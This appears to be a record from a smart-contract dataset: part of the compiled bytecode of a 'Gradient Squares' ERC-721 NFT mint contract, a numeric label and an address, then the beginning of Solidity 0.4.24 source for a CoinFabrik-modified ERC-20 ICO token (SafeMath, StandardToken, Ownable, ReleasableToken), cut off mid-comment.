ff166108fc479081150290604051600060405180830381858888f19350505050610cfd57600080fd5b565b610d1a838383604051806020016040528060008152506115f2565b505050565b6000610d29610a6a565b8210610d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6190613ba7565b60405180910390fd5b60088281548110610da4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b610dbe611b17565b73ffffffffffffffffffffffffffffffffffffffff16610ddc61110f565b73ffffffffffffffffffffffffffffffffffffffff1614610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990613ac7565b60405180910390fd5b6000600c60006101000a81548160ff021916908315150217905550565b600c60009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0290613a47565b60405180910390fd5b80915050919050565b600b5481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8290613a27565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fda611b17565b73ffffffffffffffffffffffffffffffffffffffff16610ff861110f565b73ffffffffffffffffffffffffffffffffffffffff161461104e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104590613ac7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606001805461114890613e81565b80601f016020809104026020016040519081016040528092919081815260200182805461117490613e81565b80156111c15780601f10611196576101008083540402835291602001916111c1565b820191906000526020600020905b8154815290600101906020018083116111a457829003601f168201915b5050505050905090565b60011515600c60009054906101000a900460ff16151514611221576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611218906138c7565b60405180910390fd5b6109c461122c610a6a565b1061126c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611263906139c7565b60405180910390fd5b600081116112af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a690613b47565b60405180910390fd5b60148111156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90613b27565b60405180910390fd5b6109c4816112ff610a6a565b6113099190613cb6565b111561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190613967565b60405180910390fd5b3481600b546113599190613d3d565b14611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090613a67565b60405180910390fd5b60005b818110156113ce5760006113ae610a6a565b90506113ba3382611f12565b5080806113c690613eb3565b91505061139c565b5050565b6113da611b17565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f906139a7565b60405180910390fd5b8060056000611455611b17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611502611b17565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611547919061388a565b60405180910390a35050565b6109c481565b611561611b17565b73ffffffffffffffffffffffffffffffffffffffff1661157f61110f565b73ffffffffffffffffffffffffffffffffffffffff16146115d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cc90613ac7565b60405180910390fd5b6001600c60006101000a81548160ff021916908315150217905550565b6116036115fd611b17565b83611bd8565b611642576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163990613b87565b60405180910390fd5b61164e84848484611f30565b50505050565b606061165f82611aab565b61169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169590613b07565b60405180910390fd5b60006116a8611f8c565b905060008151116116c857604051806020016040528060008152506116f3565b806116d284611fc9565b6040516020016116e39291906137ff565b6040516020818303038152906040525b915050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611797611b17565b73ffffffffffffffffffffffffffffffffffffffff166117b561110f565b73ffffffffffffffffffffffffffffffffffffffff161461180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180290613ac7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561187b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187290613927565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d805461194890613e81565b80601f016020809104026020016040519081016040528092919081815260200182805461197490613e81565b80156119c15780601f10611996576101008083540402835291602001916119c1565b820191906000526020600020905b8154815290600101906020018083116119a457829003601f168201915b505050505081565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611a9457507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611aa45750611aa382612176565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b9283610e62565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611be382611aab565b611c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c19906139e7565b60405180910390fd5b6000611c2d83610e62565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611c9c57508373ffffffffffffffffffffffffffffffffffffffff16611c8484610832565b73ffffffffffffffffffffffffffffffffffffffff16145b80611cad5750611cac81856116fb565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611cd682610e62565b73ffffffffffffffffffffffffffffffffffffffff1614611d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2390613ae7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390613987565b60405180910390fd5b611da78383836121e0565b611db2600082611b1f565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e029190613d97565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e599190613cb6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b611f2c8282604051806020016040528060008152506122f4565b5050565b611f3b848484611cb6565b611f478484848461234f565b611f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7d90613907565b60405180910390fd5b50505050565b60606040518060400160405280602081526020017f68747470733a2f2f6170692e6772616469656e74737175617265732e78797a2f815250905090565b60606000821415612011576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612171565b600082905060005b6000821461204357808061202c90613eb3565b915050600a8261203c9190613d0c565b9150612019565b60008167ffffffffffffffff811115612085577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156120b75781602001600182028036833780820191505090505b5090505b6000851461216a576001826120d09190613d97565b9150600a856120df9190613efc565b60306120eb9190613cb6565b60f81b818381518110612127577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856121639190613d0c565b94506120bb565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6121eb8383836124e6565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561222e57612229816124eb565b61226d565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461226c5761226b8382612534565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156122b0576122ab816126a1565b6122ef565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146122ee576122ed82826127e4565b5b5b505050565b6122fe8383612863565b61230b600084848461234f565b61234a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234190613907565b60405180910390fd5b505050565b60006123708473ffffffffffffffffffffffffffffffffffffffff16612a31565b156124d9578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612399611b17565b8786866040518563ffffffff1660e01b81526004016123bb949392919061383e565b602060405180830381600087803b1580156123d557600080fd5b505af192505050801561240657506040513d601f19601f820116820180604052508101906124039190612df0565b60015b612489573d8060008114612436576040519150601f19603f3d011682016040523d82523d6000602084013e61243b565b606091505b50600081511415612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890613907565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506124de565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161254184610f1a565b61254b9190613d97565b9050600060076000848152602001908152602001600020549050818114612630576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506126b59190613d97565b905060006009600084815260200190815260200160002054905060006008838154811061270b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612753577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806127c8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006127ef83610f1a565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ca90613a87565b60405180910390fd5b6128dc81611aab565b1561291c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291390613947565b60405180910390fd5b612928600083836121e0565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129789190613cb6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b828054612a5090613e81565b90600052602060002090601f016020900481019282612a725760008555612ab9565b82601f10612a8b57805160ff1916838001178555612ab9565b82800160010185558215612ab9579182015b82811115612ab8578251825591602001919060010190612a9d565b5b509050612ac69190612aca565b5090565b5b80821115612ae3576000816000905550600101612acb565b5090565b6000612afa612af584613c13565b613be2565b905082815260208101848484011115612b1257600080fd5b612b1d848285613e3f565b509392505050565b6000612b38612b3384613c43565b613be2565b905082815260208101848484011115612b5057600080fd5b612b5b848285613e3f565b509392505050565b600081359050612b7281613ffa565b92915050565b600081359050612b8781614011565b92915050565b600081359050612b9c81614028565b92915050565b600081519050612bb181614028565b92915050565b600082601f830112612bc857600080fd5b8135612bd8848260208601612ae7565b91505092915050565b600082601f830112612bf257600080fd5b8135612c02848260208601612b25565b91505092915050565b600081359050612c1a8161403f565b92915050565b600060208284031215612c3257600080fd5b6000612c4084828501612b63565b91505092915050565b60008060408385031215612c5c57600080fd5b6000612c6a85828601612b63565b9250506020612c7b85828601612b63565b9150509250929050565b600080600060608486031215612c9a57600080fd5b6000612ca886828701612b63565b9350506020612cb986828701612b63565b9250506040612cca86828701612c0b565b9150509250925092565b60008060008060808587031215612cea57600080fd5b6000612cf887828801612b63565b9450506020612d0987828801612b63565b9350506040612d1a87828801612c0b565b925050606085013567ffffffffffffffff811115612d3757600080fd5b612d4387828801612bb7565b91505092959194509250565b60008060408385031215612d6257600080fd5b6000612d7085828601612b63565b9250506020612d8185828601612b78565b9150509250929050565b60008060408385031215612d9e57600080fd5b6000612dac85828601612b63565b9250506020612dbd85828601612c0b565b9150509250929050565b600060208284031215612dd957600080fd5b6000612de784828501612b8d565b91505092915050565b600060208284031215612e0257600080fd5b6000612e1084828501612ba2565b91505092915050565b600060208284031215612e2b57600080fd5b600082013567ffffffffffffffff811115612e4557600080fd5b612e5184828501612be1565b91505092915050565b600060208284031215612e6c57600080fd5b6000612e7a84828501612c0b565b91505092915050565b612e8c81613dcb565b82525050565b612e9b81613ddd565b82525050565b6000612eac82613c73565b612eb68185613c89565b9350612ec6818560208601613e4e565b612ecf81613fe9565b840191505092915050565b6000612ee582613c7e565b612eef8185613c9a565b9350612eff818560208601613e4e565b612f0881613fe9565b840191505092915050565b6000612f1e82613c7e565b612f288185613cab565b9350612f38818560208601613e4e565b80840191505092915050565b6000612f51601a83613c9a565b91507f546869732073616c6520686173206e6f7420737461727465642e0000000000006000830152602082019050919050565b6000612f91602b83613c9a565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000612ff7603283613c9a565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b600061305d602683613c9a565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130c3601c83613c9a565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000613103605183613c9a565b91507f54686520616d6f756e74206f66204772616469656e742053717561726573207960008301527f6f752061726520747279696e6720746f206d696e74206578636565647320746860208301527f65204d41585f4e46545f535550504c592e0000000000000000000000000000006040830152606082019050919050565b600061318f602483613c9a565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006131f5601983613c9a565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000613235601a83613c9a565b91507f416c6c204e4654732068617665206265656e206d696e7465642e0000000000006000830152602082019050919050565b6000613275602c83613c9a565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006132db603883613c9a565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000613341602a83613c9a565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b60006133a7602983613c9a565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b600061340d601683613c9a565b91507f496e636f72726563742045746865722076616c75652e000000000000000000006000830152602082019050919050565b600061344d602083613c9a565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b600061348d602c83613c9a565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006134f3602083613c9a565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613533602983613c9a565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613599602f83613c9a565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b60006135ff602e83613c9a565b91507f596f752063616e6e6f74206d696e74206d6f7265207468616e2032302047726160008301527f6469656e7420537175617265732e0000000000000000000000000000000000006020830152604082019050919050565b6000613665602b83613c9a565b91507f596f75206d757374206d696e74206174206c65617374206f6e6520477261646960008301527f656e74205371756172652e0000000000000000000000000000000000000000006020830152604082019050919050565b60006136cb602183613c9a565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613731603183613c9a565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b6000613797602c83613c9a565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b6137f981613e35565b82525050565b600061380b8285612f13565b91506138178284612f13565b91508190509392505050565b60006020820190506138386000830184612e83565b92915050565b60006080820190506138536000830187612e83565b6138606020830186612e83565b61386d60408301856137f0565b818103606083015261387f8184612ea1565b905095945050505050565b600060208201905061389f6000830184612e92565b92915050565b600060208201905081810360008301526138bf8184612eda565b905092915050565b600060208201905081810360008301526138e081612f44565b9050919050565b6000602082019050818103600083015261390081612f84565b9050919050565b6000602082019050818103600083015261392081612fea565b9050919050565b6000602082019050818103600083015261394081613050565b9050919050565b60006020820190508181036000830152613960816130b6565b9050919050565b60006020820190508181036000830152613980816130f6565b9050919050565b600060208201905081810360008301526139a081613182565b9050919050565b600060208201905081810360008301526139c0816131e8565b9050919050565b600060208201905081810360008301526139e081613228565b9050919050565b60006020820190508181036000830152613a0081613268565b9050919050565b60006020820190508181036000830152613a20816132ce565b9050919050565b60006020820190508181036000830152613a4081613334565b9050919050565b60006020820190508181036000830152613a608161339a565b9050919050565b60006020820190508181036000830152613a8081613400565b9050919050565b60006020820190508181036000830152613aa081613440565b9050919050565b60006020820190508181036000830152613ac081613480565b9050919050565b60006020820190508181036000830152613ae0816134e6565b9050919050565b60006020820190508181036000830152613b0081613526565b9050919050565b60006020820190508181036000830152613b208161358c565b9050919050565b60006020820190508181036000830152613b40816135f2565b9050919050565b60006020820190508181036000830152613b6081613658565b9050919050565b60006020820190508181036000830152613b80816136be565b9050919050565b60006020820190508181036000830152613ba081613724565b9050919050565b60006020820190508181036000830152613bc08161378a565b9050919050565b6000602082019050613bdc60008301846137f0565b92915050565b6000604051905081810181811067ffffffffffffffff82111715613c0957613c08613fba565b5b8060405250919050565b600067ffffffffffffffff821115613c2e57613c2d613fba565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115613c5e57613c5d613fba565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613cc182613e35565b9150613ccc83613e35565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d0157613d00613f2d565b5b828201905092915050565b6000613d1782613e35565b9150613d2283613e35565b925082613d3257613d31613f5c565b5b828204905092915050565b6000613d4882613e35565b9150613d5383613e35565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d8c57613d8b613f2d565b5b828202905092915050565b6000613da282613e35565b9150613dad83613e35565b925082821015613dc057613dbf613f2d565b5b828203905092915050565b6000613dd682613e15565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613e6c578082015181840152602081019050613e51565b83811115613e7b576000848401525b50505050565b60006002820490506001821680613e9957607f821691505b60208210811415613ead57613eac613f8b565b5b50919050565b6000613ebe82613e35565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613ef157613ef0613f2d565b5b600182019050919050565b6000613f0782613e35565b9150613f1283613e35565b925082613f2257613f21613f5c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b61400381613dcb565b811461400e57600080fd5b50565b61401a81613ddd565b811461402557600080fd5b50565b61403181613de9565b811461403c57600080fd5b50565b61404881613e35565b811461405357600080fd5b5056fea2646970667358221220f7acc8d6af36c7c51551701247825fbd42b8a5183744702027a3502246f25fed64736f6c63430008000033
[ 5 ]
0xf295bd26a0abe9bf4354456db256d798614072fc
pragma solidity ^0.4.24; /** * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Originally from https://github.com/TokenMarketNet/ico * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Originally from https://github.com/OpenZeppelin/zeppelin-solidity * Modified by https://www.coinfabrik.com/ */ pragma solidity ^0.4.24; /** * Interface for the standard token. * Based on https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract EIP20Token { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); function allowance(address owner, address spender) public view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); /** ** Optional functions * function name() public view returns (string name); function symbol() public view returns (string symbol); function decimals() public view returns (uint8 decimals); * **/ } pragma solidity ^0.4.24; /** * Originally from https://github.com/OpenZeppelin/zeppelin-solidity * Modified by https://www.coinfabrik.com/ */ /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min256(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } pragma solidity ^0.4.24; // Interface for burning tokens contract Burnable { // @dev Destroys tokens for an account // @param account Account whose tokens are destroyed // @param value Amount of tokens to destroy function burnTokens(address account, uint value) internal; event Burned(address account, uint value); } pragma solidity ^0.4.24; /** * Authored by https://www.coinfabrik.com/ */ /** * Internal interface for the minting of tokens. */ contract Mintable { /** * @dev Mints tokens for an account * This function should the Minted event. */ function mintInternal(address receiver, uint amount) internal; /** Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); } /** * @title Standard token * @dev Basic implementation of the EIP20 standard token (also known as ERC20 token). */ contract StandardToken is EIP20Token, Burnable, Mintable { using SafeMath for uint; uint private total_supply; mapping(address => uint) private balances; mapping(address => mapping (address => uint)) private allowed; function totalSupply() public view returns (uint) { return total_supply; } /** * @dev transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } /** * @dev Gets the balance of the specified address. * @param account The address whose balance is to be queried. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address account) public view returns (uint balance) { return balances[account]; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint the amout of tokens to be transfered */ function transferFrom(address from, address to, uint value) public returns (bool success) { uint allowance = allowed[from][msg.sender]; // Check is not needed because sub(allowance, value) will already throw if this condition is not met // require(value <= allowance); // SafeMath uses assert instead of require though, beware when using an analysis tool balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowance.sub(value); emit Transfer(from, to, value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint value) public returns (bool success) { // To change the approve amount you first have to reduce the addresses' // allowance to zero by calling `approve(spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require (value == 0 || allowed[msg.sender][spender] == 0); allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param account address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address account, address spender) public view returns (uint remaining) { return allowed[account][spender]; } /** * Atomic increment of approved spending * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * */ function addApproval(address spender, uint addedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][spender]; allowed[msg.sender][spender] = oldValue.add(addedValue); emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } /** * Atomic decrement of approved spending. * * Works around https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ function subApproval(address spender, uint subtractedValue) public returns (bool success) { uint oldVal = allowed[msg.sender][spender]; if (subtractedValue > oldVal) { allowed[msg.sender][spender] = 0; } else { allowed[msg.sender][spender] = oldVal.sub(subtractedValue); } emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } /** * @dev Provides an internal function for destroying tokens. Useful for upgrades. */ function burnTokens(address account, uint value) internal { balances[account] = balances[account].sub(value); total_supply = total_supply.sub(value); emit Transfer(account, 0, value); emit Burned(account, value); } /** * @dev Provides an internal minting function. */ function mintInternal(address receiver, uint amount) internal { total_supply = total_supply.add(amount); balances[receiver] = balances[receiver].add(amount); emit Minted(receiver, amount); // Beware: Address zero may be used for special transactions in a future fork. // This will make the mint transaction appear in EtherScan.io // We can remove this after there is a standardized minting event emit Transfer(0, receiver, amount); } } pragma solidity ^0.4.24; /** * Originally from https://github.com/OpenZeppelin/zeppelin-solidity * Modified by https://www.coinfabrik.com/ */ /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is StandardToken, Ownable { /* The finalizer contract that allows lifting the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Set the contract that can call release and make the token transferable. * * Since the owner of this contract is (or should be) the 